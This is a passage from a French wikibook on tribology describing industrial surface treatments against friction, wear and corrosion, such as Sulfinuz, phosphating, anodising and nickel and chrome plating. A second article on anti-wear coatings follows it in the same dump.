aux soudures, améliore la dureté superficielle et les qualités frottantes, augmente la résistance à l'usure, à la corrosion, et peut doubler la résistance à la fatigue. On traite des pièces variées : essieux, vilebrequins, engrenages, chemises de moteurs, glissières, galets, vis, poinçons, moules de coulée d'alliages légers, fusées de roues, axes, leviers, pièces de pompes à eau, de machines à coudre, à calculer, à écrire ... ==== Sulfurations en général ==== Comme on le verra dans le chapitre consacré aux lubrifiants, le soufre joue depuis longtemps un grand rôle dans les problèmes de frottement. Son action reste pourtant mystérieuse et la composition exacte des couches obtenues par [[w:sulfuration|sulfuration]] n'est pas exactement élucidée. On traite, essentiellement dans des bains de sels fondus, divers matériaux : * fers, [[w:fonte|fonte]]s et aciers, * aciers inoxydables et réfractaires à moins de 25 % de nickel et 15 % de chrome, * aciers rapides, * titane, * bronzes sans aluminium ni [[w:plomb|plomb]]. <center> '''On ne doit jamais usiner par abrasion les pièces sulfurées, ni les faire frotter sur du chrome dur'''. </center> Tous les traitements qui comportent une introduction intersticielle d'azote et surtout de soufre forment des couches superficielles dont l'épaisseur se situe autour de 10 µm et qu'il ne faut surtout pas enlever car c'est elle qui confère aux surfaces leurs qualités frottantes. Le problème est de ne pas déformer les pièces lors de l'action du bain de sel, puisqu'il ne saurait être question de les rectifier après traitement. C'est pourquoi l'ordre logique des opérations définies dans un protocole de fabrication ne peut guère être que le suivant : * écroutage et normalisation, * usinage d'ébauche, * trempe, * revenu pendant plusieurs heures à la température du futur traitement en bain de sels, par exemple 570°C en vue d'une sulfinuzation, * refroidissement lent, * usinage de finition, * traitement de surface. ==== Sulfinuz ==== Le traitement [[w:sulfinuz|Sulfinuz]] met en œuvre des bains de sels assez complexes comprenant une base inactive de chlorures et carbonates alcalins et alcalinoterreux, qui imposent leur point de fusion, et des sels actifs soufrés protégés par du cyanure. Les recherches menées sur ces bains, tant en France qu'en URSS, ont montré que la température optimale était dans tous les cas très voisine de 570°C et que l'absence de cyanure créait une oxydation susceptible de détruire rapidement la liaison de la couche sulfurée avec le métal sous-jacent. Le temps de maintien dans le bain peut aller de 5 mn à 6 h ou plus, selon la taille de la pièce et la nature du métal à traiter. Le Sulfinuz, comme d'autres traitements de sulfuration, produit une forte carburation des couches superficielles et une introduction intersticielle des éléments soufre et azote qui favorisent mutuellement leur pénétration. Immédiatement sous un « épiderme » épais d'une dizaine de µm environ, des arborescences pénètrent entre les grains du métal sur une profondeur qui peut atteindre 0,2 à 0,3 mm et jusqu'à 0,6 à 0,7 mm pour l'azote. Cette profondeur croît comme la racine carrée du temps, ce qui l'apparente à une diffusion, mais le processus est plus complexe. Il engendre un enrobage des grains qui facilite l'accomodement avec un minimum d'écrouissage. Le Sulfinuz n'abaisse pas directement le coefficient de frottement mais il amplifie l'action des lubrifiants en facilitant leur adsorption. Par ailleurs, grâce à la présence d'une microcouche de sulfure de fer, il inhibe les soudures et prévient donc l'usure adhésive, même lorsque la température est élevée. Cet effet est dû pour l'essentiel à l'action du soufre qui est un remarquable lubrifiant à chaud. La question de savoir si, dans les couches sulfinusées, le soufre existe seulement à l'état de sulfures, ou s'il est en partie sous forme libre, n'est d'ailleurs pas tranchée. La résistance au grippage par défoncement des sous-couches est améliorée dans toutes les configurations de fonctionnement, cependant la résistance aux collages épidermiques n'est optimale qu'à partir d'une certaine vitesse de glissement, lorsque les températures éclairs sont suffisamment fortes. Les contraintes résiduelles de compression peuvent augmenter de 60 % la pression au-delà de laquelle apparaissent les premières fissures de surtension, ce qui accroît de façon spectaculaire la résistance à la fatigue des couches superficielles. Aucun autre traitement, sauf peut-être le Tenifer, ne fait aussi bien sur ce plan. Il n'y a généralement pas d'augmentation de la dureté en surface, contrairement à ce que l'on pourrait croire, et les valeurs obtenues après Sulfinuz dépendent de l'acier utilisé. Très curieusement, le traitement migre vers l'intérieur des pièces lorsque celles-ci s'usent ; il peut en quelque sorte « survivre » à une perte de matière qui peut atteindre plusieurs mm. Les pièces traitées ont parfois un aspect peu engageant, on parle de « peau de crapaud », mais ce défaut d'esthétique n'altère généralement pas les qualités frottantes. Cependant, il peut être dû à des résidus d'huiles de coupe dopées au chlore ou au phosphore et dans ce cas il témoigne de réactions de corrosion très nuisibles. Certains additifs sont en effet très actifs chimiquement et il faut les éliminer aussitôt après l'usinage, faute de quoi tout nettoyage ultérieur deviendrait impossible. Les applications du Sulfinuz sont nombreuses. Par exemple, il permet le frottement mutuel des aciers inoxydables et il peut également s'appliquer aux alliages de titane ou aux bronzes, à condition que ceux-ci ne contiennent ni plomb, ni aluminium. Des axes en acier sulfinuzé emmanchés dans des pièces d'aluminium peuvent être démontés et remontés sans grippage, ce qui ne serait pas possible autrement. Notons aussi que ce traitement, pratiqué sur une seule pièce d'un couple, contamine la pièce antagoniste. Caubet cite le cas d'un foret sulfinuzé monté dans un mandrin de perceuse : ce foret glisse entre les mors, même très fortement serrés, et naturellement il casse par flambage ; si on le remplace par un foret normal, celui-ci glisse et casse à son tour, car les mors ont été littéralement sulfinuzés par le premier foret. Il faut donc toujours rectifier la queue d'un foret sulfinuzé ... Les couches sulfinuzées ont également la propriété de fluer très facilement et cet avantage devient un inconvénient si l'on conserve le traitement sur des portées de roulements. Le Sulfinuz est un traitement thermochimique coûteux mais aussi l'un des rares qui permettent de résoudre la plupart des problèmes de frottement à chaud. L'association nitruration plus Sulfinuz est la meilleure solution contre l'abrasion par fil, à condition de ne jamais rectifier les pièces entre les deux traitements. ==== Sulficad ==== Le sulfinuz amélioré par la présence de cadmium permet à l'acier de frotter sur les alliages légers. Le fort abaissement du coefficient de frottement permet des applications dans les milieux oxydants, aqueux, ou en ambiance marine. Le [[w:sulficad|sulficad]] s'applique sur des pièces terminées, éventuellement très précises. Ses applications sont toutefois limitées en raison de la toxicité du cadmium. ==== '''Sursulf''' ==== Il permet de traiter les aciers au carbone, les aciers alliés, les aciers rapides, certains aciers inoxydables et les fontes. Traitement entre 560 et 570 °C pendant 1H30 à 5 H dans un bain non polluant de cyanates et carbonates alcalins. La teneur en cyanures est faible, même en cas d'incident, l'adaptation d'installations pour le sulfinuz et le ténifer est immédiate et la consommation de sels très réduite. La couche de nitrures et sulfures de fer, appelée couche de combinaison, ayant une épaisseur de 10 à 30 µ selon le temps de traitement et la nuance de l'acier, est très ductile et d'autant plus dure que la teneur de l'acier traité en carbone et en éléments d'alliage est plus élevée. La diffusion d'azote atteint 0,5 mm. Les propriétés antigrippantes sont remarquables, comme la tenue à l'usure, à la fatigue et à la corrosion. On traite tous les aciers qui peuvent supporter la température prescrite. Pour les pièces très précises il faut tenir compte d'un léger gonflement d'environ 10 μm au diamètre. Le traitement ne doit être suivi d'aucun usinage à l'exception des superfinitions par pierrage, rodage ou polissage. La résistance à la corrosion est très bonne, en cas d'exposition au brouillard salin on peut compléter le Sursulf par un traitement de passivation Oxynit (Techniques Surfaces, ex HEF). ==== Sulfurations à basse température ==== Elles concernent des pièces déjà traitées par cémentation, carbonitruration, trempe, revenu et rectification éventuelle. Ces traitements courts et très simples ne provoquent ni déformation, ni chute de durété importante, '''mais''' ils peuvent diminuer la résistance à la fatigue et faciliter la corrosion par l'huile. * L'[[w:héparisation|héparisation]] agit à 140-150 °C en milieu liquide. Le traitement, de 10 min à 1 h, donne une couche gris-noir. * La [[w:nitrucoloration|nitrucoloration]] est une nitruration suivie d'une héparisation. * Le Sulf BT est une électrolyse en bains de thiocyanates fondus vers 185-195 °C qui donne en 10 min une couche de sulfure de fer épaisse de 5 à 7 microns. Contrairement au Sulfinuz, il n'y a pas d'augmentation de dureté ni d'endurance par carburation ou nitruration. Il est bon d'appliquer le Sulf BT, qui convient aux structures martensitiques, après durcissement par cémentation et trempe. Le grippage de deux pièces traitées est quasiment impossible, même sans lubrification. La durée de vie de pièces cémentées en roulement-glissement combinés peut être multipliée par 6. Le Sulf-BT entraîne une perte de cote de 5 à 10 µm au diamètre dont il faut tenir compte lors de l'usinage si les tolérances sont serrées. Une haute résistance à l'usure est conférée aux aciers Hadfield préalablement galetés. On ne peut pas traiter l'acier inoxydable au-dessus de 12 % de chrome. Exemples d'applications : engrenages, chemises de moteurs, pièces et outils en acier rapide ou 100C6, poinçons d'emboutissage pour l'acier inoxydable, canons et douilles de perçage ... * La sulfuration ionique donne en 1h à 200 °C une couche de sulfure de fer hexagonal de 2 à 4 microns de couleur variable du gris à l'olive. ==== Phosphatation ==== Les [[w:phosphatation|phosphatation]]s modernes font intervenir du [[w:zinc|zinc]] pour obtenir une couche de phosphate double de fer et de zinc qui peut être imprégnée. La phosphatation au zinc ou parkérisation est dite cristalline par opposition à la phosphatation amorphe. En [[w:emboutissage|emboutissage]] et [[w:tréfilage|tréfilage]], la phosphatation des tôles permet de retenir suffisamment de lubrifiant. La phosphatation au zinc est encore appelée Bondérisation ; la phosphatation au [[w:manganèse|manganèse]] ou Parcolubrite crée à la surface des pièces en acier une couche de 4 à 5 microns de phosphates complexes de fer et de manganèse capables de retenir un film lubrifiant, voire un [[w:lubrifiant solide|lubrifiant solide]] dans une résine polymérisable. Applications : segments de pistons, chemises, tiges d'amortisseurs. ===== Historique ===== Le décapage d'une surface d'acier à l'aide d'une solution diluée et chaude d'acide phosphorique provoque la formation de phosphate de fer, qui assure une passivation et améliore la tenue à la corrosion des revêtements de peinture. C'est un fait connu depuis longtemps, dénommé ''Pickling'', ou également procédé Duplex Footner, lorsque la passivation phosphorique suit un décapage à l'acide sulfurique. La phosphatation en solution aqueuse des métaux par le phosphate de fer date de 1906 avec le brevet Anglais de Thomas Coslett, déposé en France en 1907, et les premières applications apparurent en 1908 sous le nom de « Coslettisation ». Dès 1910, Coslett utilisa des solutions à base d'acide phosphorique et de phosphate de zinc. ===== La Parkérisation ===== C'est une phosphatation au manganèse dite "profonde", en vue de l'anticorrosion fit son apparition aux États-Unis en 1926 avec le Parco-powder de la Parker Rust Proof Co, puis en France en mai 1927 avec le ''Parcosel''. La parkérisation fut alors considérée comme une méthode nouvelle de protection des alliages de fer, décrite par Jean Cournot dans une communication à l'Académie des sciences en novembre 1927 : « la méthode consiste à traiter le fer, la fonte ou l'acier, dans des bains acides bouillants renfermant 3 à 4 % de phosphates de fer et de manganèse préparés à partir de l'acide orthophosphorique ; lorsque les pièces, préalablement décapées, sont immergées dans ces solutions, il se produit une attaque superficielle avec dégagement d'hydrogène et production d'un phosphate de fer secondaire, lequel atteint rapidement la limite de saturation ; l'attaque s'arrête alors et il se produit sur le métal un dépôt des phosphates complexes en excès, le recouvrement obtenu, d'une couleur gris-noir, est extrêmement adhérent puisqu'il se dépose sur un métal légèrement gravé par l'attaque antérieure : il est de plus très résitant à la corrosion atmosphérique normale, il constitue enfin par sa nature même, une base remarquable pour des finitions appropriées aux genres de corrosions spéciales contre lesquels les pièces peuvent avoir à lutter»". ==== Pentratage ==== Par oxydation puis huilage (c'est une manière de brunissage), on obtient une surface d'un beau noir profond améliorant le frottement et la lubrification. == Traitements des alliages d'aluminium et de magnésium == L'[[w:aluminium|aluminium]] est le métal le plus abondant dans l'écorce terrestre, tandis que le [[w:magnésium|magnésium]] arrive en troisième position ; dans un monde où les ressources en matériaux précieux ou semi-précieux vont devenir, au fil des années, de plus en plus restreintes, cette disponibilité très importante plaide en faveur d'une utilisation plus large de ces deux métaux pour la fabrication des pièces mécaniques. Si l'aluminium est assez largement utilisé pour fabriquer des pièces de structure, il n'en est pas de même pour le magnésium qui, pour l'essentiel, est utilisé comme élément d'alliage ajouté à l'aluminium. Les propriétés spécifiques de ces deux matériaux, entre autres celles qui tiennent compte de leur faible [[w:densité|densité]], sont finalement assez mal exploitées. En fait, les alliages d'aluminium et de magnésium sont peu adaptés au frottement à cause de la solubilité de l'aluminium dans la plupart des métaux et en particulier dans l'acier, et de sa sensibilité à la déchirure par frottement excessif et surcontraintes de traction. Le moidre défaut de lubrification lors du glissement dans un contact acier/aluminium conduit irrémédiablement au transfert d'aluminium sur l'acier et donc au grippage. L'aluminium et l'acier ne peuvent être utilisés pour confectionner des pièces frottantes que si leurs surfaces sont spécialement traitées dans ce but. On peut par exemple : * déposer des revêtements chimiques de [[w:nickel|nickel]] ou de [[w:plomb|plomb]], * réaliser des dépôts galvaniques de [[w:chrome|chrome]] ou d'[[w:étain|étain]], * disperser des carbures, plus spécialement du [[w:carbure de silicium|carbure de silicium]], dans des couches superficielles de nickel (traitements Nikasil, Elnisil, Galnical), * déposer par projection des métaux, des [[w:céramique|céramique]]s ou des [[w:cermet|cermet]]s, * créer in situ des couches d'oxydes, éventuellement imprégnées de lubrifiants solides comme le [[w:bisulfure de molybdène|bisulfure de molybdène]] ou certains corps gras, * utiliser des protections sous forme de [[w:vernis|vernis]] ou de [[peinture]]s, * plaquer des métaux plus aptes au frottement, utiliser des [[w:insert|insert]]s, ... Dans tous les cas la préparation de surface est essentielle, afin d'obtenir des couches parfaitement adhérentes. === Oxydation anodique === C'est sans doute le traitement le plus simple et le plus courant sur les pièces d'aluminium. L'[[w:anodisation|anodisation]] forme en surépaisseur une couche d'[[w:alumine|alumine]] de 0,04 à 0,1 mm, à la fois très dure et très résistante à l'usure, mais de faible [[w:conductivité thermique|conductivité thermique]] et sensible aux chocs et aux surpressions hertziennes. Cette couche est poreuse et on peut remplir les pores par des films de lubrifiants liquides ou solides. Des colorants peuvent aussi être introduits, mais cette fois, à des fins décoratives. Sur le magnésium on obtient des couches très poreuses qui peuvent être trois fois moins dures que celles que l'on obtient sur l'aluminium. On pratique généralement un colmatage pour les rendre étanches ou encore pour qu'elles puissent faciliter l'accrochage de peintures ou de vernis ; à la suite de cette opération, la partie externe des pores est refermée, généralement par hydratation, et on constate un léger gonflement. Il est vrai que pour le magnésium le premier problème à résoudre, avant celui du frottement, est celui de la corrosion. L<nowiki>'</nowiki>'''anodisation sulfurique''' (OAS) permet de protéger efficacement les alliages légers contre la corrosion, elle permet d'obtenir des couches d'oxydes épaisses, dans un but essentiellement décoratif, avec des colorations très variées. L<nowiki>'</nowiki>'''anodisation chromique''' (OAC) forme des couches très minces (de 2 à 7 microns) et convient donc pour des pièces dont les tolérances dimensionnelles sont très serrées. Elle présente une bonne aptitude au frottement et de faibles risques d'attaque du substrat par les électrolytes, qu'elle retient peu, contrairement à l'anodisation sulfurique ordinaire. L<nowiki>'</nowiki>'''anodisation dure'''(OAD) recouvre les pièces d'une couche assez épaisse, dont la résistance à l'usure est très bonne, et qui se comporte à la fois comme un isolant électrique et un isolant thermique. Une couche anodisée de 50 µm a une dureté d’environ 500 Vickers. C'est ce procédé qu'il faut recommander lorsque la résistance à l'usure est primordiale. Les pièces peuvent être teintées, mais uniquement en noir, et la dureté subit alors une baisse importante. === Le Zinal, un exemple de traitement anti-grippage pour l'aluminium === Un dépôt galvanique à base de [[w:cuivre|cuivre]] et d'[[w:indium|indium]] chauffé pendant 3 h vers 170 °C forme sur 15 à 20 microns une couche de diffusion parfaitement homogène et régulière, dure, conductrice de la chaleur et de l'électricité, pouvant suivre sans se briser les déformations éventuelles du substrat. Il se produit un gonflement de l'ordre de 15 microns. L'indium inhibe tout grippage contre l'acier ou le chrome, la pièce s'en recouvre dès le début du frottement, permettant même le glissement dans l'[[w:ultravide|ultravide]]. On note une amélioration de la tenue des films d'huile. Les meilleurs antagonistes sont les aciers, le chrome dur, le molybdène et dans certains cas les alliages d'aluminium. Le [[w:zinal|zinal]] permet de remplacer par l'aluminium les alliages cuivreux des fourchettes de boîtes de vitesses, le bronze ou l'acier revêtu de molybdène des cônes de [[w:synchroniseur|synchroniseur]]s. On l'utilise aussi pour les convoyeurs ou les freins d'automobiles. === Traitement Keronite === La société Keronite Ltd, de Cambridge, a mis au point un traitement de surface permettant d'utiliser plus largement les alliages d'aluminium, de magnésium et de titane à la place de l'acier. Pour les véhicules, cela se traduira par un allégement pouvant atteindre 10 % et de substantielles économies de carburant. La technique utilisée est une oxydation électrolytique au plasma (PEO) qui convertit les surfaces en une céramique très dense et très dure possédant une excellente résistance vis-à-vis de la corrosion et de l'usure. Un processus d'immersion permet de traiter les formes intérieures et extérieures simples ou complexes. Les solutions électrolytiques de Keronite ne contiennent ni chrome, ni autres métaux lourds, ni ammoniac, ni acide, elles ne produisent aucun déchet dangereux et les métaux traités peuvent être recyclés sans difficulté. Le traitement comporte trois phases : * oxydation de la surface, * co-déposition d'éléments additionnels, * fusion de la couche protectrice de céramique. On peut considérer que le revêtement obtenu se compose de 3 couches successives : * une mince couche de transition permet un excellent accrochage de la couche de céramique sur le substrat, * une couche plus épaisse et très dure de céramique fondue procure la résistance à l'usure ; sa porosité atteint 2 à 15 %. Dans le cas de l'aluminium il s'agit essentiellement d'alumine, pour les alliages de magnésium on obtient un oxyde de type spinelle MgAl<sub>2</sub>O<sub>4</sub> comme le prouve l'analyse par diffraction de rayons X, * une couche externe représente 10 à 20 % de l'épaisseur totale ; elle constitue, grâce à une porosité de l'ordre de 15 %, une base solide pour d'autres revêtements. On peut dans une large mesure faire varier la composition du bain d'électrolyse pour obtenir des propriétés spécifiques pour certaines applications. Le procédé s'applique aussi en cas de réparations sur des zones blessées accidentellement ou remises à neuf. Outre les applications automobiles et aéronautiques, le traitement Keronite peut être appliqué aux boîtiers de téléphones mobiles et d'ordinateurs portables, aux montures de lunettes, aux ustensiles ménagers comme les poêles à frire en aluminium qui acquièrent une excellente résistance à la corrosion et aux rayures, etc. === Liens externes === * Etablissements Prébet & Fils : [http://prebet.free.fr/] * Société Keronite : [http://www.keronite.com/] == Traitement des alliages cuivreux == === Delsun === Le [[w:Delsun|Delsun]] ® traite les principaux alliages cuivreux, bronzes et [[w:laiton|laiton]]s. Un dépôt chimique polymétallique (étain, [[w:cadmiu|cadmiu]]m, [[w:antimoine|antimoine]], indium) diffuse de 1 à 2 heures à 400 °C. Cela crée une phase très dure et très ductile en surface, couverte d'un fin manteau antigrippage régénéré lors du frottement. Il est quasi impossible de faire gripper un acier et un matériau antagoniste traité, les performances restent correctes dans l'eau, d'où l'emploi en robinetterie. La surépaisseur vaut 7,5 microns et la rugosité optimale avant traitement 1 à 3 microns CLA. Le delsun double les pressions hertziennes tolérables et augmente la résistance à l'abrasion. On l'utilise sur des synchroniseurs, coussinets, fourchettes, engrenages, roues à vis sans fin, écrous, vérins, chemises, segments, clapets, vannes, tiges de commande, matrices pour tôles inoxydables, matériel électrique, pompes à engrenages. Signalons enfin la possibilité de sulfurer les bronzes. == Traitements divers == === Chromaluminisation === Cette diffusion simultanée de chrome et d'aluminium est spécifique des [[w:superalliage|superalliage]]s réfractaires à base de nickel et de [[w:cobalt|cobalt]] utilisés dans les [[w:turboréacteur|turboréacteur]]s. Elle en protège en particulier les ailettes contre l'érosion par les gaz de combustion qui circulent à grande vitesse. === Tifran === Le [[w:titane|titane]] est léger, résiste bien aux contraintes et à la corrosion, mais grippe facilement sur lui-même ou sur l'acier. On a essayé, sans grand succès, diverses solutions : * nouveaux lubrifiants, * dépôts galvaniques : argenture, cadmiage, chromage, * dépôts par projection : molybdène, carbure de tungstène * diffusion de métalloïdes : azote, bore, carbone, * oxydation anodique. Le [[w:tifran|tifran]] réalise par diffusion en phase gazeuse à 700 °C une couche de 10 à 60 microns composée principalement d'oxydes, résistante au grippage et à l'usure, et qui rend possible la tenue de films lubrifiants de MoS<sub>2</sub> ou de PTFE. Cette couche peut frotter sur elle-même ou sur l'acier, mais pas sur le titane nu. === Magnadise === Les alliages de magnésium sont difficiles à protéger de l'abrasion et de la corrosion. Le traitement magnadise de la société General Magnaplate Corporation, [[w:Linden|Linden]], [[w:États-Unis|États-Unis]], forme une couche d'oxyde de magnésium poreuse, d'épaisseur 0,076 à 0,5 mm, imprégnée de PTFE ou de MoS<sub>2</sub> et incrustée dans le réseau cristallin. Cette couche est très dure, lisse et glissante. === Molynuz ( pour divers métaux ) === Par électrolyse dans un bain aqueux de paramolybdate et de sulfure d'ammonium, on réalise in situ une couche de MoS<sub>2</sub> trois fois plus durable que celles obtenues par friction ou à la bombe. == Voir aussi == * [[Tribologie - Revêtements anti-usure]] * sur Wikipédia : [[w:Traitement de surface|Traitement de surface]] Tribologie - Revêtements anti-usure 980 42208 2006-05-13T20:18:38Z 132.207.86.14 /* Projection plasma */ [[Catégorie:Tribologie]] {{Tribologie}} Les matériaux d'apport utilisables pour diminuer le frottement et l'usure sont extrêmement divers : * métaux compatibles en frottement avec l'antagoniste, utilisés purs ou alliés : plomb, indium, étain, bronze ... * métaux durs contre l'abrasion, éventuellement en couches épaisses de 1 mm et plus : chrome, molybdène ... * alliages très durs pour contrer l'abrasion, éventuellement à chaud, sous forme de couches plutôt épaisses, voire de rechargement : nickel-chrome, nickel-chrome-bore, cobalt-chrome-tungstène-bore, ..., sur des crochets de levage, cames, soupapes, dents de pelleteuses ... * céramiques : carbures métalliques, alumine, zircone, ... sur des portées de presse-étoupe, chemises de pistons ... * matières plastiques et élastomères : le Rilsan, utilisable jusqu'à 80-100 °C, a une bonne résistance au frottement, à l'abrasion, à la cavitation. Contre cette dernière, on utilise aussi des caoutchoucs à base de polyuréthanne ou de néoprène. == Revêtements par voie chimique humide == On dépose par exemple contre l'usure des couches d'alliage nickel-phosphore, dans l'industrie automobile. Les alliages légers ou ultralégers peuvent recevoir du nickel ou du plomb. Les revêtements minces inorganiques sans chrome Dacral, conformes aux nouvelles normes européennes, sont de couleur gris aluminium. Ils sont destinés à protéger de la corrosion des pièces en acier, en fonte ou autres métaux ferreux et concernent particulièrement les vis, écrous, agrafes, etc., destinés à la construction automobile. Selon le fabricant, le Géomet 321 est constitué de lamelles de zinc et d’aluminium dans une matrice inorganique, avec une épaisseur de 5 et 10 µm. Son application n’entraîne pas de fragilisation par l’hydrogène. Le revêtement est appliqué par immersion à froid dans une dispersion aqueuse ou par pulvérisation, sans électrolyse. Le Géomet 500 offre en plus une lubrification intégrée. == Revêtements par voie électrochimique == La solution des problèmes de frottement passe souvent par des dépôts électrolytiques mous ou au contraire très durs, qui tiennent bien s'ils forment une chaîne continue de solutions solides entre le métal de base et le dépôt final, avec des limites d'élasticité et des coefficients de dilatation régulièrement étagés. Les dépôts vieillissent par diffusion des couches intermédiaires à travers la couche extrême, labourage, fluage du support, arrachement par pression exagérée, fluage et refoulement de la couche superficielle surtout si elle est trop épaisse, fatigue en cas de contraintes de tension, fragilisation par l'hydrogène. Ne pas envoyer au traitement des pièces présentant des tensions résiduelles, enlever les couches de Beilby, polir car la rugosité s'accentue avec le dépôt, revêtir l'antagoniste d'un métal insoluble dans chacun de ceux du dépôt, choisir une épaisseur optimale. Parmi les métaux qui peuvent être déposés, citons l'argent, le chrome, l'or, l'étain, le cadmium, le zinc, le plomb, l'indium, ... Certains revêtements peuvent frotter sans lubrification jusqu'à 200-300 °C : 5 à 10 micromètres d'argent ou de nickel-cadmium contre l'acier pour des assemblages à faible jeu, or contre chrome ... Le dépôt argent-indium est très efficace contre la corrosion de contact à chaud (500 °C), l'or peut frotter sur l'acier inoxydable dans le fluor ou d'autres ambiances particulières. === Dépôts de nickel === Des dépôts durs de '''nickel''', allant de 10 ou 20 micromètres à plus de 12 mm, protègent de l'usure l'intérieur de vannes en aluminium, des arbres de pompes, des pistons de presses hydrauliques ... ou permettent de rénover certaines pièces. Le nickel qui frotte mal contre lui-même se montre intéressant contre la corrosion de contact en présence d'acier lubrifié, surtout avec 8 % de phosphore (procédé '''Kanigen'''). Le dépôt de nickel peut être associé avec du phosphore, qui permet de moduler la résistance à la corrosion et la dureté du revêtement, selon l'usage prévu pour la pièce traitée. Un haut degré de phosphore ou un traitement thermique de diffusion améliorent la résistance à la corrosion. Pour un taux de phosphore moyen la dureté est de l'ordre de 550 Vickers mini mais elle peut atteindre 900 à 950 Vickers avec un traitement thermique de durcissement (Acier prétraité = 200 Hv, acier trempé = 550 Hv, diamant = 2200 Hv). La résistance à l'usure est au contraire optimale avec un traitement thermique adapté ou un nickel bas phosphore. Le coefficient de frottement nickel/acier est inférieur de 30% à celui de l’acier/acier (contrairement à un nickel électrolytique pur). L’état de surface initial du substrat n’est pas modifié par le traitement. La résistivité électrique et le magnétisme varient selon le taux de phosphore ou le traitement thermique réalisé. Le nickelage peut être employé comme « barrière thermique ». Propriétés diverses du nickel : * Température de fusion 900°C. * Bonne soudabilité. * Très bonne adhérence sur le support. * Offre un bel aspect d’une couleur proche de l’inox. Sur des pièces de mécanique fine (tolérances serrées) on peut utiliser le procédé '''Nuflon NIKL''' ® qui est un dépôt chimique de Nickel chargé de PTFE. === Dépôt de chrome === Le '''[[w:chromage|chromage]] dur''' est de tous les revêtements métalliques anti-usure celui qui glisse le mieux. Il autorise la protection de pièces neuves et le rechargement pour réparation. Par ailleurs, il est apte au contact alimentaire et ne nuit pas à l’environnement. Il résiste à pratiquement tous les agents chimiques courants (sauf l'acide chlorhydrique), même à haute température ; on peut l'utiliser jusqu'à 800°C dans l'air. Son pouvoir de protection contre la corrosion est considérablement amélioré par une sous couche de nickel. La dureté est très élevée, de 1000 à 1100 vickers. (Acier prétraité = 200 Hv, Acier trempé = 550 Hv, diamant = 2200 Hv). Par rapport à des pièces en acier non traité, dans le cas d'usure abrasive, la durée de vie moyenne des pièces est multipliée par 5 à 10. Le coefficient de frottement chrome/acier est diminué de moitié par rapport au coefficient acier/acier. Selon les traitements des pièces avant ou après chromage (rectification, polissage, sablage, grenaillage...) on peut faire varier le Ra de 0,01 (poli miroir) à 10 µm. L'épaisseur, déterminée en fonction des besoins, peut aller de quelques micromètres à 5/10 de mm pour la réparation. Le chrome dur, idéal pour combattre à la fois la corrosion et l'abrasion, s'associe bien au bronze non phosphoreux cuivré ou à la fonte argentée. Caractéristiques diverses du chrome : * Excellent conducteur thermique et électrique. * Température de fusion : 1800°C. * Amagnétique. * Dépôt peu mouillable (mais pouvant le devenir). * Très bel aspect de surface, largement modulable par différents procédés. * Densité 7,2 * Parfaite adhérence sur son support (accroche moléculaire). == Codéposition avec des particules dures == On peut revêtir les alliages légers et ultralégers par une dispersion de carbures, notamment de silicium, dans une couche de nickel (Nikasil, Elnisil, Galnikal). == Métallisation au trempé == On recouvre l'acier et parfois les alliages légers par trempage dans un bain de métaux fondus : plomb, zinc, aluminium, ... == Revêtements par projection ou rechargement == Il existe diverses techniques de projection ou de rechargement par flamme, plasma, arc électrique, laser, ... de produits durs, métaux ou céramiques utilisés contre l'usure, notamment abrasive. Cette dernière dépend directement de la taille des phases dures dispersées dans les matrices métalliques, mais aussi de la forme et de la texture des matériaux abrasifs. Les conditions d'usure étant peu reproductibles en laboratoire, les innovations sont rares et ceux qui ont obtenu des résultats acceptables semblent parfois craintifs lorsqu'il sagit de les mettre en œuvre. Le laser permet le dépôt de poudres projetées dans un flux de gaz. L'action thermique très rapide et localisée limite l'échauffement et la déformation des pièces où les composés sont mélangés par la fusion superficielle. La formation d'alliages nitrurés, cémentés, avec des carbures, permet des compositions impossibles par d'autres techniques. Les surfaces plus dures, de structure plus fine, portent des couches homogènes très adhérentes. Les dépôts peuvent cependant présenter des défauts et il faut optimiser les conditions opératoires. On peut traiter des zones de quelques mm² seulement, ou dont l'accès est difficile. Les alliages durs à base de fer, nickel, cobalt, avec ou sans produits céramiques, sont en général déposés par arc électrique ou projection de poudre éventuellement, la couche obtenue étant parfois refondue sur place. Le chrome apporte la résistance à l'érosion, le cobalt la tenue à la chaleur, le nickel la résistance à la corrosion et la ténacité, le carbure de tungstène et le molybdène la résistance à l'abrasion. Mentionnons les alliages nickel-chrome-bore-silicium, nickel-aluminium à 5 % ou nickel-chrome-aluminium. Les pseudoalliages cobalt-carbure de tungstène ou de titane, nickel-chrome-carbure de chrome, ... sont déposés par arc électrique ou plasma ; le chalumeau est utilisé pour les petites pièces et conseillé pour les revêtements riches en chrome. Le cobalt des stellites est un matériau stratégique dont l'approvisionnement peut devenir aléatoire. En outre il devient radioactif en milieu nucléaire où ses débris d'usure posent des problèmes. À dureté égale, les substituts sont moins résilients. Les céramiques ou leurs combinaisons ont pour point faible leur manque de résilience et d'allongement qui impose un support extrêmement rigide, et pour point fort leur grande dureté permettant le poli spéculaire. À côté de l'alumine on trouve l'oxyde de chrome Cr<sub>2</sub>O<sub>3</sub> utilisé en dépôt à 98 % pour la pignonnerie. Les alliages nickel-aluminium remplacent le molybdène comme sous-couche d'accrochage. === Métallisation au fil ou à la poudre === C'est essentiellement une technique de réparation. Le métal de rechargement est apporté sous la forme de fil ou de poudre, il est projeté sur la pièce dans la flamme d'un chalumeau. La rapidité du procédé fait que la pièce ne subit pratiquement aucun échauffement lors du dépôt, mais l'absence de fusion superficielle fait que les revêtements obtenus sont le plus souvent poreux, ce qui, d'ailleurs, n'est pas forcément un inconvénient. On peut déposer par ce moyen des métaux très divers, acier au carbone, acier inoxydable, acier au chrome, aluminium, bronze, cuivre, molybdène, etc. Les revêtements obtenus ainsi permettent de lutter contre la corrosion et surtout de remettre en état des pièces localement endommagées dans des zones de portées (montages de roulements) ou dans des zones soumises à des frottements intenses (portées de joints d'étanchéité, tiges de vérins). Par ailleurs, ils constituent également une trés bonne base d'accrochage pour les peintures . === Métallisation-refusion === Le principe est le même que pour la métallisation « ordinaire » au chalumeau mais l'opération de dépôt est suivie d'une fusion superficielle des pièces qui permet de réaliser des revêtements compacts, exempts de porosité. Le refroidissement rapide et le choix plus vaste des matériaux à déposer permettent d'obtenir des couches superficielles de grande dureté (jusqu'à 75 HRC), très résistantes aux diverses forme d'usure et à l'oxydation. On dépose de cette façon des alliages à base de nickel, de chrome, éventuellement chargés en produits durs (par exemple nickel + carbure de tungstène), des alliages réfractaires à base de cobalt (Stellites), etc. Les applications pratiques sont nombreuses, on peut citer par exemple les pistons plongeurs de pompes et surpresseurs, les arbres de pompe, les portées de joints d'étanchéité, les sièges de vannes et les zones de travail de certains outillages de fabrication, comme les cônes de tréfilage. === Projection plasma === Le principe est toujours le même mais les 